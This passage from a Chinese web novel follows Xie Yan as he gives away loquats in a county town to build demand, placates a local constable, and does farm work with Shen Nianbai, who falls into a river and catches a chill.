谢言道:“你随便拿一个就行,就算是小的都很甜的。”
那人拿了一个尝了,瞬间眼睛都亮了,“确实很甜,我从来没有吃到过这么甜的枇杷。”
周围的人听到他的话,纷纷围了过来,“真的,我也尝一个。”“我也尝一个,看是不是真的那么好吃。”“我也尝一个。”
围过来的人越来越多,将谢言的小摊围得水泄不通,但全都是尝的,一个买的都没有。随着尝的人越来越多,没一会儿谢言的枇杷就少了三分之二了。
谢言看着所剩不多的枇杷,脸色不大好。周围的人看见了,还说:“是你说尝不要钱的,你不会说话不算数吧?”
谢言顿了一下,然后苦笑着摇头,“不会,尝吧。”
“小老板大气。”
“诶,这么多人围着干什么呢?”突然一道严厉的声音响了起来,人群都转头看了过去,谢言也看了过去,脸色倏变,说话的人穿着衙役的衣服,谢言心里一咯噔,不会这么倒霉吧?
周围的人纷纷出声,“王捕快,我们尝枇杷呢。”“这枇杷可好吃了。”
王捕头皱着眉走了过来,人群自动给他让开了一条路,这一让就把谢言彻底露了出来,王捕头看着谢言,“以前没见过你啊,新来的?”
谢言不敢说谎,只能点头,“是。”
王捕头道:“不知道规矩啊,要摆摊要去县衙登记交钱的。”
为了不把老伯牵扯出来谢言只能说:“不好意思,我没有进过城确实不知道规矩。”
王捕头挑眉,“现在知道了。”
谢言可不想没有赚到钱还赔钱,于是他说:“官爷,我身上实在是没钱,我今天一点东西都没吃,就指着卖了枇杷去买两馒头过活呢。”
王捕头扫了周围挤挤攘攘的人,一脸不信,“生意这么好,还说没钱,当我是傻子呢?”
谢言实话实说,“虽然人挺多,但是没卖出去。”
王捕头根本不信,“怎么可能?”
谢言有些不好意思,“他们都是来尝的。”
王捕头震惊了,“一个买的都没有?”
谢言垂着眸轻轻的摇了摇头。
王捕头都无语了,指着周围的人说道:“你说说你们,这么多人搁这儿一个买的都没有,这不是欺负人呢嘛。”
周围的人辩驳道:“是他说的尝不要钱的,我们从来没有买过他的东西怎么知道他的东西好。”
“就是,而且他还要卖三文钱一斤,要是不好,我们找谁去。”“就是,要怪就怪他自己不多准备点,这么少哪里够。”
王捕头觉得大家说得也在理,又看向了谢言,谢言解释道:“我家离县城远,我走了两个时辰才走拢,实在背不了那么多。”
今日肯定是卖不出去了,谢言虽然很失望,但他也知道事已成定局现在甩脸色只会更糟,于是他笑了笑,弯腰从剩下的枇杷的拿了一个最漂亮的递给了王捕头,“捕头大人,你尝尝我这枇杷,刚才大家吃了都说好吃。”
王捕头垂眸扫了他手里的枇杷,颇为诧异的抬眸看向了谢言,伸手接了过来,“你这个大小伙子倒是沉得住气。”
王捕头拿着枇杷对着人群说道:“要买就买,不买就别在这儿围着了,这么多人还以为出什么事了呢。”
人们一听这话陆陆续续的就走了,王捕头慢条斯理的剥开了枇杷。五星大枇杷,又大又甜汁水又多,果香味十足,一口惊艳。王捕头不住的点头,“味道确实不错,我每年吃的枇杷都不少,但都比不上你这个。”
谢言笑着说道:“我家在深山里,空气好,种的水果也好。”他说着就将剩下的枇杷全都装了起来,递给王捕头,“捕头大人不嫌弃,这点枇杷就拿回去吃吧。”
王捕头佯装推辞,“你拿来卖的,怎么能送给我?”
谢言道:“不是卖的,就是家里吃不完怕浪费了,拿出来分享分享。”
王捕头这才接了过来,“行,既然你这么
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说了,那这摊位费我也不要你的了。”
谢言忙不迭的点头,“谢谢捕头大人。”
王捕头点头,“若是以后还想来卖东西,记得去县衙找我。”
谢言应道:“捕头大人放心,我一定按规矩办事。”
“记住了就行。”王捕头提着枇杷就走了。
谢言看着他的背影微微眯了眯眼睛,谢言站了一会儿,收拾好心情后就背着背篓往回走了。
回去不赶时间谢言就走得慢了,他知道这样卖果子是赚不到钱的,他得另外想办法。他扫着沿街的店铺,突然看到了一家很大的酒楼,随风飘扬的旗帜上工工整整的写着‘天悦酒楼’
酒楼?
现代的酒楼都有果盘,不知道这个酒楼里有没有。
谢言准备在门口看一看,不过他才刚刚过去,小二就迎了过来,在看到他的穿着时态度明显冷淡了下来,“吃饭?”
谢言想了一下从衣服里摸出三个铜板来,“我走路口渴了想买两个果子吃。”
小二听了他的话直皱眉,“你看清楚我们这里是酒楼,没有果子。”小二说完又补了一句,“看你这样子也不认字吧,赶紧走吧,别耽误我们做生意。”
小二态度不好,谢言不仅没生气反而朝他笑了笑,转身走了。
没有果子,那可太好了。
不过要怎么样才能让天悦酒楼收他的果子呢?如果他就这样去,别说见不到老板,就算见到了也没有多少筹码可谈。
怎么样才能增加他的筹码呢?
这个问题谢言想了一路,终于在看到自家山上黄澄澄的果子时有了答案。
虽然没有卖到钱,但谢言此时已经有了比摆摊更好的主意,所以他到家得时候还是乐呵呵的,沈念白还在坡上除草,谢言远远的看到他就开始喊了,“念白。”
沈念白听到声音直起身来,在看到谢言的时候欣喜的扔了锄头就往回跑了过来,他跑得很快,谢言都怕他摔了,连忙道:“慢点。”
没一会儿沈念白就回来了,气喘吁吁的,但眼睛亮晶晶的,“谢言哥,吃了午饭没有,我给你做饭。”
谢言老老实实的说道:“还没有吃。”
“我马上做。”沈念白一边说着就开始生火,他防备着谢言随时会回来,所以今天中午他多煮了饭,也多炒了菜。
谢言在旁边看着,现在已经是下午了,他饿得前胸贴后背,为了节省时间,他道:“一锅炒出来就行了。”
沈念白也知道他肯定是饿着了,将火升起来后将饭菜倒锅里炒,热气一激香味瞬间就出来了,沈念白的厨艺很好,即使谢言天天吃都觉得吃不够,一闻就开始流口水。
很快饭就热好了,沈念白将饭用谢言的专用葫芦碗盛出来递给他,“谢言哥,吃饭吧。”
谢言这两年的饭量越发大了,长得人高马大的,之前的小碗他一顿要吃七八碗,盛饭都费劲。后来种了葫芦了,沈念白挑了当年长得最大的葫芦,从中间锯开,一半做了水瓢,另外一半就做了谢言的饭碗,就这,谢言一顿都要吃两碗。
21. 第 21 章
等谢言吃完了饭,沈念白才问道:“谢言哥,今天的枇杷好卖吗?”
谢言摇了头,老老实实的说道:“一个也没卖出去。”
沈念白有些惊讶,毕竟之前谢言卖蝉蜕可是每次都卖出去了的,他想到了可能会不好卖单一个也没有卖出去也太夸张了,不过他还是宽慰着谢言说道:“没事,咱们现在吃喝不愁也不指着卖枇杷过活,不去卖枇杷反而还轻松些。”
谢言摇头,“不,我明天还要去。”
沈念白不明白,“都卖不出去还要去啊?”
谢言点头,肯定的说道:“我不卖,我送给他们吃。”
听了他的话沈念白越发疑惑了,“这么大老远的背着去送给人家吃?”
谢言回道:“是,就是去送给他们吃。”
沈念白越发的好奇了,“送给谁啊?”
谢言道:“街上的人,碰着了就送。”
沈念白虽然不明白谢言的做法,但对于谢言的决定他向来是无条件支持的,于是他点了头,“好,听谢言哥的,明天我早点起来多摘一些。”
谢言道:“你起来的喊我一起,咱们一起摘。”
“好。”沈念白应承了一句后又说道,“谢言哥你去睡一会儿吧,我去拔草了。”
一年四季除了最热的那几天和最冷的那几天山上的活都是干不完的,谢言道:“不睡了,我去把土给翻了。”
沈念白也没有说什么,应了一声就先上坡了。谢言回房换了身衣服,这才提着锄头也出门了。
现在正是打量栽种蔬菜的时候,哪块地种什么菜是沈念白负责的,但翻土一般都是谢言在干。
出了门就看到了绿油油的稻谷,现在还是小苗苗,前不久才全部栽下去。
秧苗在菜地里育种,谢言手搓的肥球,要一株一株的拔起来,放在簸箕里,在提到田里一行一行的种下去。种秧苗也有讲究,要大力的按在田里,力气小了,水一荡秧苗就飘起来了。根不着地就要重新栽种。今年谢言就返工了好几处。
水田需要水,之前谢言开荒的时候找到了两个泉眼,本来两个泉眼足够养活几十亩的水田了,但是他们只有两个人,种那么多也吃不完,于是谢言只弄了三亩的水田,大大小小的分成了十块田。
系统的种子很好,三亩的水田,一年大约能收成个三千斤,光谢言跟沈念白根本吃不完,所以他们还养了百来只的鸡鸭,天天叫个不停,也算是深林中的一点额外的乐趣了。
水田不多,但菜地多,大概有十来亩,光翻土十几天都翻不完,谢言翻了三块地就去割草了,土什么时候翻都行,但牛必要要按时按点喂,不然牛要闹脾气。
家附近全都种上了庄稼,怕牛踩坏庄稼就不能像最开始那样出去放了,所以每天都要割草回来喂牛。
五年前的小牛犊现在已经彻底长大了,每天要吃四大背的草,所以基本上谢言每天上午下午都要去山上割一回草,背回来喂新鲜的草,不过想着明天还要去县城,所以谢言打算今天把明天的草全部都割回来,这样明天沈念白只需要按时喂就行了。
谢言背完最后一背草天都已经黑了,他们没有灯,所以在月亮不是特别亮的晚上都是天黑都回家的。
谢言回家的时候刚好鸭子也从坡上回来,一百只鸭子,甩着屁股‘嘎嘎嘎’的叫着,热闹得很。
谢言将牛草背到牛棚,草太多了,牛棚旁边堆得跟小山似的,谢言将牛草从背篓里抱出来尽量的打散,确保草不会坏。
谢言回到竹屋前沈念白正在摘四季豆,进入夏天菜也丰富起来了,沈念白看到他回来,与他说道:“谢言哥,去把鸭子喂了吧,不然一直吵。”
“好。”天气逐渐热起来了,鸭子也回来得晚了,以往这个这个时候鸭子都吃完谷子睡了。
谢言舀了谷子来到鸭圈,鸭子早就围着食槽了,见到谢言来扯着嗓子‘嘎嘎嘎嘎’的叫,吵得谢言耳朵都快聋了,赶紧将谷子往食槽里倒,一半倒了进去另外一半倒在鸭子的身上全洒地上了。
以往都是沈念白喂的,所以谢言还问了声,“倒地上没关系吧?”
谢言的声音夹在鸭子的叫声中根本听不清楚,但沈念白听到他在说话,便问道:“什么?”
谢言又重复了一遍但实在是太吵了,沈念白根本听不清楚,只能走过来问他,“什么?”
谢言问道:“谷子倒地上了没关系吧?”
沈念白回道:“没关系,我之前有几回忘了提前放谷子在食槽里,鸭子围着倒不进去都是直接倒地上的。”
谢言应了一声,又问道:“鸡和兔子喂了吗?”
鸡要吃地里的菜,所以这段时间都是关在圈里养的。之前沈念白还说要用竹子编成围墙将菜地围起来,把鸡放出去养,但还一直没有空。
沈念白道:“鸡喂了,兔子等会儿在喂。”
经过这么多年,当初的两只兔子现在已经有七八十只了,就这还是每几天都要吃一只控制下来的结果。
谢言道:“我去喂吧。”
沈念白拒绝了,“不用,你歇会儿吧,饭很快就好了。”
沈念白说完就走了,谢言又去舀了几瓢谷子喂给了鸭子,然后也不用在等,关上圈门就走了。
忙活了一天,谢言终于可以坐下来休息会儿了。沈念白去河边洗菜了,谢言本来想打一个水缸的,这样不用稍微洗点东西就要去河边了,但一直没有找到合适的石头,所以一直到现在家里还没有水缸。
谢言坐在灶前看向河边,今晚月色不算很好,只有一点亮度,但谢言的视力很好,所以他还是看见了沈念白颀长的背影。
河边的皂角树已经长起来了,虽然还不是很大,但结的果子已经足够他们用了。树影落在沈念白的身上有种静谧的美感,谢言不知不觉就弯起了嘴角。
沈念白的动作很快,没一会儿就回来,他看到谢言坐在灶前,与他说道:“炒几个菜就可以吃饭了。”
谢言午饭吃得晚,现在还不是很饿,他道:“慢慢弄,我不着急。”
“嗯。”
虽然话是这样说,但沈念白的动作并没有放缓,他快速的炒好了菜就开饭了。
吃饭的时候,沈念白说
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道:“谢言哥,明年我们喂两头猪吧。”
谢言没有答应,而是说:“再说吧。”
其实谢言心里也是想喂的,但是如果要喂猪他们的活就又要增加了,本来现在他们就很忙了,基本上每天天一亮就得要起床,天都黑了都还没休息。
沈念白听到他这样说,也没有在继续说下去。
吃完了饭,照旧是谢言先去洗澡,还是跟之前一样去河边洗。这个季节河水还是很凉的,谢言一下水汗毛就冷起来了,不过他身体燥热还是遭得住。
快速的洗完后,将脏衣服留在河边等会沈念白一起洗。这个季节沈念白都是烧一桶热水提到河边来混着冷水洗,他的身体比谢言弱,这个天洗冷水澡根本不行。
谢言没什么事了,回家就躺床上休息了,平时谢言一躺下去就睡着了,但今天他心里有事,所以还一直等着沈念白回来。
“念白。”
沈念白本来以为他睡着了,听到他猝不及防的出声还吓了一跳,“哎哟。”
屋里一点亮都没有,谢言也看不见他,连忙问道:“怎么了?”
沈念白回道:“没事,我还以为你睡着了。”
他这么说谢言就知道是自己把他吓着了,他道:“我有点事想跟你说。”
沈念白坐到了床上,刚准备躺下去,就听见谢言说,“你睡这边来。”
黑暗中沈念白惊讶的声音很清晰,“怎么了?”
谢言道:“我有事跟你说。”
谢言察觉到沈念白顿住了,他还觉得奇怪,“你怎么了?”
“没事。”话音一落,沈念白就睡了下去,只不过离谢言还是有点距离,只不过现在两人都长大了,床又不大,那点距离也仅仅只能算没有挨着而已。
谢言心里有事,也没有想那么多,开口就问道:“念白,你觉得咱们这山取个什么名字好?”
“啊?”沈念白有些意外,“你就是要说这个?”
谢言点了头,“对啊。”
话音一落,谢言明显感觉到沈念白松了口气的同时有些失望,随即就听他反问道:“这地方不是叫大屁股山吗?”
谢言倒吸了一口凉气,虽然他一直不知道这山到底叫什么名字,但他想这种偏僻的山大抵是没有什么好听的名字的,只是没想到这么不好听。
“这名字也太不高雅了,以后说有人问起来处,说从大屁股山来的,这也太难听了。”
沈念白倒没有这种感觉,毕竟这附近的山都是叫这种名字。
“我没读过书,我不懂什么高雅。谢言哥,我实在想不出来好听的名字。”
谢言也没在问下去,他想了想,“钟灵毓秀,就叫灵秀山怎么样?”
沈念白虽然取不出来好听的名字,但还是听得出来的,他十分真诚的夸赞道:“谢言哥,你真厉害,随口一说就能取这么好听的名字。”
谢言嘿嘿的笑了笑,他并没有反驳,但也没有说其实他从县城回来的路上就已经想了一路了,这才想了这么个名字,他很享受沈念白的崇拜,他希望沈念白能一辈子都这么崇拜他。
22. 第 22 章
第二天天刚刚亮沈念白就醒了,他睁开眼坐起来看向了谢言,一时没有动,似乎在犹豫要不要叫醒他。
“谢言哥。”
谢言睡得正香,听到声音迷迷糊糊的睁开眼,“嗯?天亮了?”
沈念白回道:“嗯。”
谢言打了个呵欠坐了起来,“好。”
起了床,沈念白要跟谢言一起去摘枇杷,但谢言阻止了他,“我去就行了,你做早饭。”
沈念白不大同意,“你一个人要摘到什么时候?”
谢言道:“反正送给人吃,能摘多少摘多少。”
听到他的话沈念白本来想说那还不如不去,但话到嘴边看到谢言一副打定主意的样子还是作罢了。
“那好吧,饭做好了我叫你。”
“嗯。”谢言背着背篓上山去了。
此时天才刚刚亮,山腰上还有缥缈的雾气,看起来跟仙境一样。空气略显潮湿,清新带着若隐若现的香气,让人心旷神怡。
除了最开始栽的那一排果树是打乱了品种种的,后面种的都是一个品种种在一块的,方便采摘。
果树不算多,枇杷只有十颗,每棵树上都结满了黄橙橙的枇杷,沉甸甸的把树枝都压弯了。谢言和沈念白农活很忙,所以果树都没有认真的管理过,果子大大小小的都有,谢言就挑着大的摘。
摘了半背就听到沈念白在喊他,“谢言哥,吃饭了。”
谢言自然而然的应了一声,“来了。”
虽然是这样说,但谢言还是摘了满满一背这才背着回了家,走到半路上就遇到了准备来帮忙的沈念白,沈念白看到他背着满满一背,问道:“怎么还是摘了这么多?”
谢言回道:“我想着反正是走一趟,能多摘点就摘点吧。”
沈念白抿了抿嘴唇,“那你应该叫我一起啊。”
谢言笑了笑,“我也是临时想起了,走吧,回去吃饭。”
现在摘都摘完了,说什么也没有用了,沈念白自然也没有在说了,两人便一道往回走去。
回了家,沈念白就去喂鸡喂鸭了,谢言吃了饭揣上沈念白给他烙的饼,背着枇杷出了门。
临走时谢言与沈念白说道:“我走了,一会儿就回来,你别担心。”
有了昨天的经历沈念白也没有那么不舍得了,因为是打定主意去送的,所以他想谢言今天能赶回来吃午饭,他点了头,叮嘱道:“谢言哥,路上小心。”
谢言应了一声,这才走了。
今天谢言比昨天还要早些到县城,他没有像昨天那样找地摆摊了,而是背着枇杷沿街叫卖,“灵秀枇杷,十文一斤,不甜不要钱,欢迎品尝。”
本来卖枇杷没什么稀奇,但他要十文一斤,惹得行人纷纷看了过来。
“什么枇杷,要十文钱一斤?莫不是抢钱吧。”
“就是啊,在好吃的枇杷也是枇杷,怎么能卖到十文钱一斤呢。”
...
在质疑声中,谢言将背篓放了下来,胸有成竹的说道:“我这是灵秀枇杷,长在高山,浇的是雪山所化的雪水,清甜甘冽,入口冰凉,吃了能提醒神脑嘞。”
“有这么神奇?”
谢言道:“不信可以尝啊,尝不要钱。”
“真的不要钱?”
谢言拍着胸脯道:“这点诚信都没有还做什么生意。”
“大气。”
谢言笑道:“随便拿,看上哪个拿哪个。”
听到他的话周围的人都围了过来,个个都去拿他背篓里的枇杷,场面火爆得跟抢鸡蛋一样。谢言见状嘴角微扬,更大声的喊道:“灵秀枇杷,十文一斤,不甜不要钱,欢迎品尝。”
其他行人见到这么多人在抢,抱着好奇的心态也都围了过来。
一背篓的枇杷很快就被抢完了,后面来的人没有吃到,还问道:“真的好吃吗?”
吃到的人纷纷点头,“特别好吃。”
枇杷分完之后,谢言就背着背篓往回走了,一路上他都听到人们在谈论灵秀枇杷,并且全是夸赞的,还有没吃到的在那边遗憾。
谢言低着头嘴角微扬,走到天悦酒楼的时候他抬头看了一眼,但只看了一眼就收回了视线,继续赶他的路了。
第二天谢言如法炮制,他背着枇杷来到县城,刚进城没一会儿就有人把他认出来,“大小伙子又来卖枇杷啊?”
谢言笑着回应,“是啊,大叔,要来一点吗?”
大叔摆手拒绝了,“十文一斤还是算了。”
“那下次想吃的时候在买。”谢言应了一声背着背篓继续往前走,像昨天一样大声叫卖,“灵秀枇杷,十文一斤,不甜不要钱,欢迎品尝。”
还是跟昨天一样,他的声音吸引了很多人,人群瞬间就围了过来,甚至出现了哄抢的现象,有人来晚了没有抢到还哭天抢地的。
“哎哟,你怎么换地方了?我一直在你昨天卖枇杷的地方蹲守。”
“就是啊,你怎么老是换地方啊?”
......
现场乱做了一团,还惊动了王捕头。王捕头过来看到谢言,有些讶异,“又是你。”
谢言赶紧解释道:“捕头大人,我可没卖啊,我就是吃不完来分享的。”
有现场的人作证,确实没有卖,都是免费尝的,王捕头也不好说什么,只是与谢言说道:“以后在闹这么大动静要去县衙报备。”
谢言十分配合的点头应道,“好的,下次我来卖水果一定先去县衙报备。”
王捕头驱散了人群,“都散了吧。”
谢言也帮腔说道:“今天的灵秀枇杷已经完了,下次我一定多准备点,让大家都能吃到。”
人群很快就散了,王捕头看着谢言笑问道:“明天还来卖?”
谢言老实回道:“明天应该不卖了。”
王捕头有些讶异,“这么快就没了?”
谢言回道:“倒不是没了,只是每天这样往返的跑有点累,我想暂时休息几天。”
王捕头也理解,“确实远了点,我还说买一点呢。”
王捕头都这样说了,谢言自然是上道的,他道:“虽然没打算卖果子了,但我明天来县城还有点别的事,捕头大人要是不嫌弃,我给您捎点过来。”
王捕头笑道:“那行。”
谢言问道:“那明天给您送到什么地方去?”
王捕头道:“送到我家吧,在子华路那边,你一问就知道了。”
谢言点头,“行,明天上午我早点给您送过去。”
和王捕头说好后,谢言就背着背篓回家去了。这一次他经过天悦酒楼的时候没有在停留,大步流星就走了。
谢言回到家才刚过中午,沈念白正在做饭,见到他回来,喊了一声,“谢言哥。”
谢言应了一声,放下背篓从水桶里舀了一瓢水喝,一大瓢水喝完才在屋檐下坐了起来,“今天晚上咱们杀只鸡来吃吧。”
沈念白应道:“池塘的莲蓬也大了,我下午去摘点来
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炖鸡。”
谢言点了头,“行。”
饭很快就好了,吃饭的时候沈念白问了谢言,“明天还要去送枇杷吗?”
谢言摇头,“不送了,但还是要去县城里一趟。”
“嗯?”沈念白疑惑,还去县城里干什么?
事情没有着落前,谢言没打算先告诉沈念白,他担心事情要是没成,会让沈念白失望,于是他说:“今天走的时候,王捕头说喜欢咱们家的枇杷,我明天给他送一些。”
沈念白很吃惊,捕头在小老百姓中地位已经很高了,没想到谢言竟然结识了这等人物。
“王捕头?”
谢言点头,“嗯,咱们的灵秀枇杷在县城很受欢迎的。”
这话沈念白就不明白了,很受欢迎怎么就卖不出去呢?不过他虽然满心疑惑,但这话他并没有问出来,他只是顺着谢言的话说道:“既然王捕头喜欢,那明天多摘点给他送去。”
谢言回道:“不必,多了也放不住,用小篮子摘一篮子就行了。”
他们家的小篮子是沈念白自己编的,大概能装个十来斤的枇杷。沈念白问道:“小篮子会不会太少了,这专门去送一趟呢,他吃不完可以送人啊,反正咱们家这么多,也吃不完。”
送人?谢言想了想,王捕头会送人吗?犹豫了好一会儿,谢言还是摇了头,“不用,就装一小篮子就行。咱们家的荔枝也熟了吧,明天我摘点去。”
沈念白心里一咯噔,这送起来怎么没完没了了?家里这么多水果,难不成以后天天换着花样的去送?
“还要去送荔枝?”
谢言道:“这次不是送了。”
沈念白问道:“那是什么?”
谢言神秘的笑了笑,“明天回来了在跟你说。”
他都这样说了,沈念白也不是个非要打破砂锅问到底的人,于是也没有在多说了。
吃过了午饭,谢言实在是累着了,“我去睡会儿午觉。”
沈念白收拾着碗筷,随口应道:“去睡会儿吧,睡醒了先把鸡杀了,我早点炖着。”
“行。”谢言打着呵欠就回屋睡午觉了。
沈念白基本上没有午睡的习惯,但谢言在累狠了的情况下有时候会睡,谢言午觉睡起来沈念白已经把莲子摘回来了,正在屋檐下剥。
碗大的莲蓬翠绿翠绿的,剥出来的莲子又白又胖,看着就鲜嫩。野池塘被谢言整理出来后,是专门栽种莲藕的,一到夏天的时候满池碧绿,莲蓬多得吃都吃不完。
这还是今年的第一茬莲蓬,谢言睡得口有些渴,就在沈念白对面坐了下来剥莲子吃。谢言不比沈念白有耐心,沈念白还把每颗莲子的莲子心都剥出来了,谢言直接将莲子带壳放嘴里,牙一咬莲子就从中间破开,在用手一挤莲子就出来了。莲子脆嫩,莲子心只有一股清香味一点也不苦。
沈念白与谢言说道:“吃剥好的。”
谢言摇摇头,“不用,我这样吃也方便。”
吃了一会儿,谢言就觉得没意思了,起身与沈念白说道:“随便抓一只吗?”
沈念白道:“随便抓吧。”
以前鸡少的时候,杀哪只鸡都是要商量的,一般都是杀不生蛋的鸡。一直都是沈念白捡鸡蛋,所以哪只鸡下不下蛋只有他知道,但现在鸡多了,沈念白也分辨不出来了,最重要的是鸡蛋够吃了他也就没费心思去记了。
“行,我抓鸡去了。”
沈念白应道:“我去烧水。”
“嗯。”
23. 第 23 章
鸡都在鸡圈里关着,怕鸡飞出来,谢言走过去只打开了盖子的边角,伸手去抓。鸡圈做得大,谢言的手一伸进去鸡就跑开了,谢言抓了好一会儿也没有抓到。
“嗨呀,还不给我抓。”
谢言说着收回了手,去屋里抓了一把谷子在手上,在把手伸了进去,鸡凑过来吃他手上的谷子,谢言趁机随即抓住一只鸡的脖子,成功的抓到了鸡。
抓到鸡后,谢言高声问道:“水开了没?”
沈念白回道:“开了。”
谢言抓着鸡来到灶前,沈念白将刀和碗递给他,谢言杀鸡,沈念白就把烧开的水舀到桶里。
鸡杀好了就扔到桶里,烫好后捞起来拔毛。谢言拔毛的时候沈念白就去旁边生火,拔完毛去火上稍微烧一烧,将没有拔干净的小绒毛烧干净。
谢言将烧好的鸡递给了沈念白,“我去割草了。”
沈念白应声,“回来的时候看看黄瓜和丝瓜有吃得的没有。”
“哦,好。”
谢言背着背篓上山了,明天还要去县城,还得把明天的牛草割好。谢言先割了一背牛草背了回去喂了牛,再去山上的时候谢言先去看了黄瓜架和丝瓜架,这俩不在一块土里,谢言先去看了黄瓜。
黄瓜的叶子长得又大又茂密,黄瓜隐藏在里面不容易看到,但是弯腰从叶子下面往上看就很容易看到。
黄瓜结了很多,翠绿翠绿的,但都很小顶端的花都还没有谢完,还得长几天才能吃。谢言又去看了旁边地的丝瓜,丝瓜比黄瓜大些,谢言看完了就又去割草了。
背草回去的时候,谢言跟沈念白说了,“黄瓜很小还吃不得,丝瓜可以吃了。”
坐在灶前烧火的沈念白听到他的声音抬头看向他,问道:“摘回来了吗?”
谢言有些诧异的回道:“你没让我摘啊。”
沈念白也没有说什么,只道:“哦,那我一会儿去摘点回来晚上炒。”
谢言这才明白沈念白的意思,他连忙道:“我还要去割草,回来的时候顺便摘回来。”
沈念白应道:“老了就都摘了,不老就少摘几根,吃的时候在去摘。”
谢言道:“不老,看着挺嫩的。”
“那就少摘几根。”
“行。”谢言应了一声就又背着背篓上山去了。
割完草回去的时候谢言去丝瓜架那儿摘了五根长得最大的丝瓜放在牛草上背了回去。回到家谢言将牛草倒在地上,丝瓜也掉在地上,谢言捡了起来,没有被压烂。
谢言将丝瓜放在灶台上,跟正在喂鸡的沈念白说道:“丝瓜摘回来了。”
沈念白应了一声,“好。”
谢言坐着休息,他的视线自然的落在沈念白的身上,沈念白喂完了鸡又去喂兔子,自然又熟稔,山里带着凉意的风吹来,谢言不由得弯起了嘴角。
此时突然听到不远处的田里传来了鸭子的惊叫声以及慌张逃窜的声音,谢言和沈念白赶紧走过去看,谢言问道:“怎么回事?”
话音一落就看到天空中一只老鹰飞过,嘴里还叼着一只挣扎的鸭子。沈念白看得皱眉,“这几天我是发现鸭子少了好几只,还以为是走丢了,没想到是被老鹰叼走了。”
谢言看着老鹰飞得又高又快,除非有武器不然根本拿它没办法,“我赶明做个弹弓,让它在来打死它丫的。”
沈念白道:“那明天鸭子不放出去了,就在圈里关着吧。”
谢言道:“在家关着麻烦得很,我明天早点回来。”
过段时间稻谷抽穗的时候鸭子就不能放了,谢言想的是能多放几天多放几天,在家关着又吵又麻烦。
沈念白也没有多说,应了一声就去准备晚上要吃的菜了,谢言在院子里站着望着山上的果树,
“我去看看果子。”
“嗯。”
谢言往山上走去,古代没有零食,以谢言的条件连镇上的糕点也是奢侈,所以他种了很多品种的果树,这是不用花钱就能吃到的甜。
这个季节大多树的果树都已经挂果了,这些果树种了好几年,都是从牙签苗长起来的,真正算起来,今年才是大多数果树正式开始挂果的一年,之前都是一棵树结一两个果子,只能勉强算尝鲜的。
之前谢言没想过要去卖果子,所以也没有打理,现在想卖果子赚钱了,就想果子有个好卖相了。谢言小时候在农村长大的,天天在地里跑,学到的知识现在刚好用上。
要想果子长得好,第一步就要疏果。
疏果也是有讲究的,谢言来到桃树前,这个时节桃子刚刚结上,一串串的跟葡萄似的,明显就太多了。谢言先是用手摇了摇,挂得不紧的果子自己就掉了,剩下的桃子在手动疏果,一根枝条留个五六个桃子就差不多了。
桃树有十来颗,但谢言上山得晚,才堪堪疏完一颗桃树天就黑了。天黑了看不见了谢言刚准备回去就听到沈念白在喊他吃饭。
“谢言哥,吃饭了。”
谢言高高的应了一声,“来了。”
走近家,远远的就闻到了炖鸡的香味,谢言每天都干苦力活,对肉香没有一点抵抗力,他加快了脚步三步并作两步回了家,沈念白看到他就笑了,“谢言哥,吃饭了。”
谢言也笑着回道:“老远就闻到香味了,我都是跑回来的。”
闻言沈念白脸上的笑意更深了,加快了手上的动作。谢言也过来帮忙把炖好的鸡端到桌子上,他们吃饭的桌子是沈念白做的竹桌,所以得盛出来不然怕锅把桌子烫坏了。
炒的其他菜已经在桌子上了,沈念白盛好饭递给谢言,“谢言哥,吃饭吧。”
谢言接了过来坐了下去,坐的是沈念白做的竹椅,虽然算不得多精致,但比起谢言之前用木墩子坐的凳子还是舒服多了。
两人相对而坐,谢言来这儿后吃相不大好,吃得狼吞虎咽的,一筷子下去,一盘菜能少三分之一。
丝瓜是今年的新鲜菜,今天还是第一回吃,嫩嫩的甜甜的很是开胃。鸡肉也炖得很烂糊,一口咬下去,香到心里了,新鲜的莲子炖了也是脆的,吃着十分解腻。
谢言吃饭吃得很快,不到一刻钟就吃完了。吃完了饭,谢言坐着休息,沈念白便收拾碗筷,只要有谢言吃饭,饭菜都没有剩的时候,也好收拾,沈念白一边收拾一边跟谢言说道:“谢言哥,你去洗澡吧。”
谢言吃撑了,不大想动,就说:“你先去洗碗吧,我等会在去。”
沈念白应了一声,将碗碟放在锅里,端着锅去河边洗碗了。谢言看着他的背影,想着也没有
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什么事也跟着沈念白去了河边。
快走到河边的时候谢言突发奇想想吓吓沈念白,于是放低了脚步声,走到沈念白背后突然伸手拍了他的肩膀,同时“哈”了一声,结果没想到沈念白不禁吓,惊叫了一声直直就往河里栽去了。
沈念白直直的扑到了河里,水花四溅,溅到谢言的脸上冰冷冷的,当即谢言什么都顾不得想了,连忙走进河里将沈念白抱了起来,“念白。”
沈念白呛了水不停的咳嗽,谢言赶紧把他抱到岸上,给他拍背,过了好一会儿沈念白才没有咳嗽了,谢言赶紧问道:“你感觉怎么样了?”
沈念白靠在谢言的怀里,抖抖索索的说了一句,“谢言哥,我有点冷。”
谢言听到他的话猛地睁大眼睛,意识到情况可能很糟糕,于是他赶紧抱着沈念白往屋里走。
谢言腰瘦腿长的,走一步当沈念白走两步,跑起来就更快了,眨眼就回到了屋里,谢言将沈念白放在床上,拉过被子给他裹上,“把湿衣服脱了,我给你拿衣服来换。”
谢言说着就去柜子里拿衣服,但因为是晚上他又很着急,所以就拿错了,把他的衣服拿给了沈念白,但他直到递给了沈念白都没有发现。
沈念白也怕生病,把衣服接过来就开始穿,穿到一半才发现不对劲,谢言的衣服起码能穿进两个沈念白,但现在这种情况,也不可能在耽搁换了,于是沈念白将就着穿上了。
直到沈念白换好衣服,谢言才敢问,“你感觉怎么样了?”
沈念白还没有说话就先打了一个喷嚏,这声音在夜里很清晰,谢言心里着急,“念白,对不起啊,我真的没想到会这样,我马上去给你找大夫。”
谢言说完转身就走,但是被沈念白拉住了,沈念白问他,“你都没有去过村子里,要去哪里找大夫?”
谢言道:“我去问肯定能问到的。”
“你知道村子要怎么去吗?”沈念白说着话就又打了个喷嚏,听着明显比刚才更严重了。
谢言确实不知道村子该怎么走,他来这个世界这么久了只去过县城,但现在又不可能去县城请大夫,更不可能把沈念白带到县城去就医,最好的办法就是背着沈念白去村子里找大夫。
“我背你去村里找大夫。”
但没想到沈念白毫不犹豫就拒绝了,“不行。”
谢言看着他坚决的样子一时间也没有好主意,“那怎么办啊?”
感冒说小可小,可说大也大,谢言不敢放着不管。
沈念白道:“我有点冷,可能热火起来就好了。”
热火?
谢言想了想,“那我去生火?”
沈念白不赞同他的想法,“我们这屋里这么多东西,生火万一烧起来怎么办?”
